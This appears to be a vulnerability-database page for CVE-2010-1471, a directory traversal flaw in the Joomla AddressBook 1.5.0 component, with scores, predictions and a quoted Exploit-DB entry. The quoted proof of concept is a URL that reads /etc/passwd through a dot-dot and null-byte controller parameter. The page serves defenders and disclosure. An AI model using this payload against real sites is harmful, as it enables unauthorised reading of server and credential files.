CVE-2010-1471

high

Published 2010-04-19 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12170 webapps php verified text · 1 KB

AntiSecurity · 2010-04-12

Joomla! Component Address Book 1.5.0 - Local File Inclusion

text exploit Source: Exploit-DB

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  [o] Joomla Component AddressBook Local File Inclusion Vulnerability
 
       Software : com_addressbook version 1.5.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


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  [o] Exploit

       http://localhost/[path]/index.php?option=com_addressbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00


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  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia

Application impact

Vendor	Product	Versions	Fixed
b-elektro	com_addressbook	`1.5.0`
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.